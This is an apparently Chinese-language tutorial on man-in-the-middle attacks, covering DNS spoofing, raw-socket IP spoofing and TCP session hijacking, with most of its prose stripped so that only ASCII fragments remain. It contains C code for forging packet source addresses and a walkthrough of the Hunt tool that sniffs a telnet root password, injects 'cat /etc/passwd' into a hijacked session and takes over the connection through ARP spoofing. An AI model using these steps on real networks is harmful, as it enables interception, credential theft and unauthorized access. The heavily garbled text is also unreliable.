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MITM

DNS Domain Name System

DNS www.hacker.com.cn
P IP Hosts
DNS DNS
DNS
DNS IP
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TCP UDP IP
TCP UDP
IP 1 IP
Unix/Linux Socket
root Windows Winsock
Libnet Linux Raw Socket
IP

sockfd = socket(AF_INET, SOCK_RAW, 255);

SMB
ARP DNS
ARP
DNS

Hosts
DNS
IP
DNS

“ Web
DNS

1 1IP 2
UDP

IP IP
Winpacp

setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

struct ip *ip;

struct tcphdr *tcp;

struct pseudohdr pseudoheader;
ip->ip_src.s_addr = xxx;
pseudoheader.saddr.s_addr = ip->ip_src.s_addr;

tcp->check = tcpchksum((u_short *)&pseudoheader,12+sizeof(struct tcphdr));
sendto(sockfd, buf, len, 0, (const sockaddr *)addr, sizeof(struct sockaddr_in));

TCP

2 TCP
TCP
TCP
TCP/IP TCP
TCP/IP

TCP

RFC 793

“ ”

TCP
TCP

SEQ
ACK

S_SEQ

S ACK

S_WIND

1 Server
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C_ACK

C_WIND

1 Client

ISN

TCP



ACK

C_ACK <= C_SEQ <= C_ACK + C_WIND
S ACK <= S_SEQ <= S _ACK +S_WIND

ACK (Storm)
ACK
ACK ACK
ARP “ "
ACK
ACK Linux TCP/IP RFC
ACK

TCP
A B TCP C 2
A B
SEQ (hex): X ACK (hex): Y
FLAGS: -AP--- Window: ZZZZ :60

B A
SEQ (hex): Y ACK (hex): X+60
FLAGS: -AP--- Window: ZZZZ :50

A B
SEQ (hex): X+60 ACK (hex): Y+50
FLAGS: -AP--- Window: ZZZZ 140

B A
SEQ (hex): Y+50 ACK (hex): X+100
FLAGS: -AP--- Window: ZZZZ :30

C A B
SEQ (hex): X+100 ACK (hex): Y+80
FLAGS: -AP--- Window: ZZZZ 20

B A
SEQ (hex): Y+80 ACK (hex): X+120
FLAGS: -AP--- Window: 27277 :10

ACK ACK ARP
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Juggernaut TCP
Sniffer TTY Watcher Dsniff

Hunt Pavel Krauz Linux Unix

ACK
ARP Hunt ARP
RST TCP ACK
ARP Hunt 1.5 Pavel Krauz
http://lin.fsid.cvut.cz/~kra/#hunt

Hunt
[root@dahubaobao hunt]#wget http://www.ringz.org/hunt-1.5.tgz
[root@dahubaobao hunt]#tar zxvf hunt-1.5.tgz
[root@dahubaobao hunt]#cd hunt-1.5
[root@dahubaobao hunt-1.5]#make
[root@dahubaobao hunt-1.5]#./hunt
/[Hunt 3



Iw/r) list/watch/reset connections
N I w r

a) arp/simple hijack (avoids ack storm if arp used)
I Hunt ARP
ACK
s) simple hijack
1 ACK
d) daemons rst/arp/sniff/mac
I RST TCP ARP
MAC

Red Hat Linux 9.0 IP  192.168.0.10
A Windows Advanced Server IP  192.168.0.1
B FreeBSD 4.9 STABLE IP 192.168.0.20

[root@dahubaobao hunt-1.5]#./hunt

/*

*hunt 1.5

* multipurpose connection intruder / sniffer for Linux
* (c) 1998-2000 by kra

*/

starting hunt

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
Iw/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack

d) daemons rst/arp/sniff/mac

0) options

X) exit

*> 1

0 192.168.0.1[3465] ?192.168.0.20 [23]

I A Telnet B

--- Main Menu --- rcvpkt 0O, free/alloc 63/64 ------
I/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack

d) daemons rst/arp/sniff/mac

0) options

X) exit

*>w//

0 192.168.0.1 [3465] ?192.168.0.20 [23]
Choose conn>0 //

Dump [s]rc/[d]st/[b]oth [b]> //
Print sec/dst same charactes y/n [n]> //

A 4 A Telnet
su root password root

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
Iw/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack

d) daemons rst/arp/sniff/mac

0) options

X) exit

*>s

0 192.168.0.1[3465] ?192.168.0.20 [23]

choose conn> 0

dump connection y/n [n]>

Enter the command string you wish executed or [cr]> cat /etc/passwd



B passwd
Hunt RST TCP ACK

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
I/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack

d) daemons rst/arp/sniff/mac

0) options

X) exit

*>all

0 192.168.0.1[3862] ?192.168.0.20 [23]
choose conn> 0

arp spoof src in dst y/n [y]>

src MAC [XX:XX: XX XX XX XX]>

arp spoof dst in src y/n [y]>

dst MAC [XX: XX XX XX XX XX]>

input mode [rlaw, [lline+echo+\r, line+[e]cho [r]>
dump connectin y/n [y]> n

press key to take voer of connection

ACK

ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host 192.168.0.1 FA

ILED

do you want to force arp spoof nutil successed y/n [y]>
CTRL-C to break

CTRL+C // CTRL+C

-- operation canceled - press any key>

ARP spoof failed

ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED
you took over the connection

CTRL-] to break

-bash-2.05b$id
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